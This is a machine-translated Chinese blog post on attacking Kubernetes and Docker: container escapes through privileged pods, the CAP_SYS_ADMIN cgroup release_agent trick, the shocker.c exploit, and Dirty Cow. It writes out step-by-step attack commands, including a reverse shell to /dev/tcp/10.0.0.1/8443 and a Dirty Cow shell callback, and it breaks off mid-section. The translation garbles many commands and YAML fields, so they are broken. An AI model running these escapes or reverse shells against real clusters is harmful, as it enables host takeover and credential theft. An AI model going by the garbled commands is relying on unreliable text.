发布于2025年12月5日12月5日 ## 文章前言 这篇文章就是为了填补之前《K8s集群安全攻防(上)》挖的坑。主要补充K8的逃生、横向移动、权限维护、扩展技能等。 ## 逃脱相关 ### 配置不当 ####特权特权模式转义 **必备知识** 安全上下文用于定义Pod或Container的权限和访问控制。 Kubernetes 提供了三种配置Security Context 的方法: - Pod 安全策略:应用于集群级别 - Pod 级别安全上下文:适用于Pod 级别 - 容器级安全上下文:适用于容器级 容器级别:仅适用于指定容器,不会影响Volume ```` api版本: v1 kind: 吊舱 元数据: name: 你好世界 规格: 容器: - name: 你好世界容器 image: ubuntu:最新 安全上下文: 特权: 正确 ```` Pod level:应用于Pod中的所有容器,会影响Volume ```` api版本: v1 kind: 吊舱 元数据: name: 你好世界 规格: 容器: 安全上下文: FSGroup: 1234 补充组: [5678] seLinuxOptions: level: \'s0:c123,c456\' ```` PSP,集群级别:PSP 是集群级别的Pod 安全策略,自动为集群中的Pod 和Volume 设置安全上下文。 **漏洞介绍** 当使用--privileged选项启动容器时,容器可以访问主机上的所有设备,并且如果启用“privileged: true”,K8s配置文件也可以实现挂载操作。 **逃脱演示** 第一步:使用docker将ubuntu镜像拉取到本地 ```` 须藤docker 拉ubuntu `` 步骤2:创建Pod yaml文件 ```` api版本: v1 kind: 吊舱 元数据: name: myapp-test 规格: 容器: - image: ubuntu:最新 名称:ubuntu 安全上下文: 特权: 正确 `` 第3 步:创建Pod ```` kubectl create -f myapp-test.yaml `` 第三步:进入Pod进行逃生操作 ```` #进入pod kubectl exec -it myapp-test /bin/bash #查看磁盘 fdisk -l `` 第四步:查看权限 ```` 猫/proc/self/status | grep CAPEFF `` 第五步:使用CDK越狱 ```` ./cdk 运行挂载磁盘 `` 进入容器内部挂载目录,直接管理主机磁盘文件(存在一些问题) #### CAP_SYS_ADMIN 配置转义 **漏洞概述** Docker通过Linux Namespace实现6项资源隔离,包括主机名、用户权限、文件系统、网络、进程号、进程间通信。然而,一些启动参数给容器授予了更大的权限,从而打破了资源隔离的界限: - --pid=host 启动时,绕过PID命名空间 - --ipc=host 启动时,绕过IPC命名空间 - --net=host 启动时,绕过网络命名空间 --cap-add=SYS_ADMIN 启动时允许进行挂载权限操作,需要挂载资源才能使用。 **使用先决条件** - 容器中的root用户 - 容器必须使用SYS_ADMIN Linux 功能运行 - 容器必须缺少AppArmor配置文件,否则将允许挂载系统调用 - cgroup v1虚拟文件系统必须以读写模式挂载在容器内 **必备知识** **c组** 默认情况下,容器启动时,会在/sys/fs/cgroup目录下各子系统目录的docker子目录下生成一个以容器ID命名的子目录。我们可以通过执行以下命令来查看主机中的内存。 cgroup目录下,可以看到docker目录下多了一个目录9d14bc4987d5807f691b988464e167653603b13faf805a559c8a08cb36e3251a。这串字符就是容器ID。该目录下的内容是用户在容器中查看到的/sys/fs/cgroup/memory的内容。 **安装** mount命令是一个系统调用(syscall)命令。系统调用号为165。要执行syscall,用户需要具有CAP_SYS_ADMIN的Capability。如果主机启动时添加了--cap-add SYS_ADMIN参数,则root用户可以在容器内部执行挂载cgroup。 Docker 默认情况下不启用SYS_ADMIN 功能。 **利用** 利用该漏洞的第一步是在容器中创建临时目录/tmp/cgrp,并使用mount命令将系统默认内存类型cgroup重新挂载到/tmp/cgrp。 ```` mkdir /tmp/cgrp mount -t cgroup -o 内存cgroup /tmp/cgrp ```` 参数解释: - -t参数:表示挂载类别为cgroup - -o参数:表示安装选项。对于cgroup来说,挂载选项是cgroup的子系统。每个子系统代表一种资源类型,如:cpu、内存 执行该命令后,主机的内存cgroup被挂载到容器中,对应目录/tmp/cgrp 需要注意的是,只有当挂载目标的层次结构为空时,重新挂载cgroup 才能成功。因此,如果这里内存remount失败,可以换到另一个子系统,然后在这个cgroup类型下创建一个子目录x。 ```` mkdir /tmp/cgrp/x ```` 利用该漏洞的第二步与notify_no_release有关。 cgroup的每个子系统都有参数notify_on_release。该参数值为布尔类型,1或0,分别可以启用和禁用释放剂指令。如果启用了notify_on_release,当cgroup不再包含任何任务时(即cgroup的tasks文件中的PID为空时),系统内核将执行release_agent参数指定的文件中的文本内容。不过需要注意的是,release_agent 文件并不在/tmp/cgrp/x 目录下,而是在内存cgroup 的根目录下/tmp/cgrp 中,这样的设计可以用来自动删除根cgroup 中的所有空cgroup。我们可以通过执行以下命令将/tmp/cgrp/x的notify_no_release属性设置为1 ```` 回声1 /tmp/cgrp/x/notify_no_release ```` 然后指定release_agent为主机上容器的cmd文件。具体操作是首先获取宿主机上docker容器的存储路径: ```` host_path=`sed -n 's/.*\\perdir=\\([^,]*\\).*/\\1/p' /etc/mtab` ```` 文件/etc/mtab存储的是容器中实际挂载的文件系统 这里使用sed命令来匹配perdir=(和)之间的非逗号内容。从上图可以看出,host_path是docker overlay存储驱动上的可写目录upperdir 。 在此目录下创建cmd文件,并将其作为/tmp/cgrp/x/release_agent参数指定的文件: ```` echo \'$host_path/cmd\' /tmp/cgrp/release_agent ```` 接下来,POC将要执行的shell写入cmd文件中,并赋予执行权限。 ```` echo '#!/bin/sh' /cmd echo \'sh -i /dev/tcp/10.0.0.1/8443 01\' /cmd chmod a+x /cmd ```` 最后,POC触发主机执行cmd文件中的shell。 ```` sh -c \'echo \\$\\$ /tmp/cgrp/x/cgroup.procs\' ```` 该命令启动一个sh进程并将sh进程的PID写入/tmp/cgrp/x/cgroup.procs。这里的\\$\\$表示sh进程的PID。执行sh -c后,sh进程自动退出,使得cgroup /tmp/cgrp/x不再包含任何任务。 /tmp/cgrp/release_agent 文件中的shell 将由操作系统内核 执行 #### CAP_DAC_READ_SEARCH **影响范围** 码头工人1.0 **场景描述** 在早期的docker中,容器默认具有CAP_DAC_READ_SEARCH权限。拥有此Capability权限后,容器中的进程就可以使用open_by_handle_at函数暴力扫描主机文件系统,获取主机的目标文件内容。 Docker 1.0之前,对容器能力(Capability)采用黑名单策略管理,CAP_DAC_READ_SEARCH能力不受限制。因此,shocker.c程序被赋予了调用open_by_handle_at函数的能力,从而导致容器逃逸。 **环境建设** ```` ./metarget 小工具安装docker --version 18.03.1 ./metarget gadget install k8s --version 1.16.5 --domestic `` ```` ./metarget cnv 安装cap_dac_read_search-container `` 注意:这个场景比较简单,可以使用Docker手动构建。存在该漏洞的Docker 默认版本太旧。但是,任何版本的Docker 都可以用来重现该漏洞。只需要在启动Docker时通过--cap-add选项添加CAP_DAC_READ_SEARCH能力即可。 **漏洞重现** 步骤1:查看容器列表,会发现有一个名为cap-dac-read-search-container的容器,具有CAP_DAC_READ_SEARCH权限。 ```` docker ps -a | docker ps -a | grep 帽 码头工人顶部5713dea getpcaps 51776 `` 步骤2:下载poc文件,并将shocker.c中的.dockerinit文件修改为/etc/hosts ```` #初始文件 //从外部安装的东西获取FS 引用 if ((fd1=open(\'/.dockerinit\', O_RDONLY)) 0) die(\'[-] 打开\'); #更改文件 //由于该文件需要与主机位于同一挂载文件系统中,因此高版本的.dockerinit不再位于主机的文件系统中。 //但/etc/resolv.conf、/etc/hostname、/etc/hosts等文件仍然是直接从主机挂载的,属于主机的文件系统。 if ((fd1=open(\'/etc/hosts\', O_RDONLY)) 0) die(\'[-] 打开\'); `` 第三步:编译shock.c文件 ```` gcc shocker.c -o shocker `` 第四步:容器中运行docker cp后,成功访问主机的/etc/shadow文件。 ```` #基本格式 docker cp 本地路径容器ID: 容器路径 #使用示例 docker cp /home/ubuntu/shocker 5713dea8ce4b:/tmp/shocker `` ### 内核漏洞 有许多内核漏洞可以被利用,例如: - CVE-2016-5195: 脏牛漏洞逃逸 - CVE-2017-7308:Linux 内核逃逸 - CVE-2017-1000112:Linux 内核逃逸 - CVE-2021-22555:Linux 内核逃逸 - CVE-2021-31440:Linux eBPF - CVE-2022-0185:Linux 内核逃逸 下面仅以Dirty Cow漏洞逃逸为例: ####影响范围 Linux 内核2.x 到4.x 4.8.3 之前的版本 #### 漏洞描述 Dirty Cow (CVE-2016-5195) 是Linux 内核中的一个提权漏洞。它可以用来逃逸Docker容器并获得具有root权限的shell。需要注意的是,Docker与主机共享内核,因此容器需要运行在存在dirtyCow漏洞的主机上。 #### 漏洞重现 第一步:下载测试环境 ```` git克隆https://github.com/gebl/dirtycow-docker-vdso.git ```` 第2步:运行测试容器 ```` cd dirtycow-docker-vdso/ sudo docker-compose 运行dirtycow /bin/bash ```` 第三步:进入容器编译POC并执行 ```` cd /dirtycow-vdso/ 使 ./0x死牛肉192.168.172.136:1234 `` 第四步:监听本地端口192.168.172.136,成功收到主机弹回的shell 。 这里有一个面试中经常用到的问题供大家思考: 为什么内核漏洞会导致容器逃逸?基本原理是什么? ### 危险坐骑 #### HostPath目录挂载 **场景描述** 由于用户使用了比较危险的挂载方式将物理机的路径挂载到容器中,导致逃逸 **详细实施** 步骤1:检查当前权限,确保容器在主机系统上具有完全权限 步骤2:发现/host-system 并从主机系统安装它 ```` ls-al ls /主机系统/ `` 第三步:获取大师
创建帐户或登录后发表意见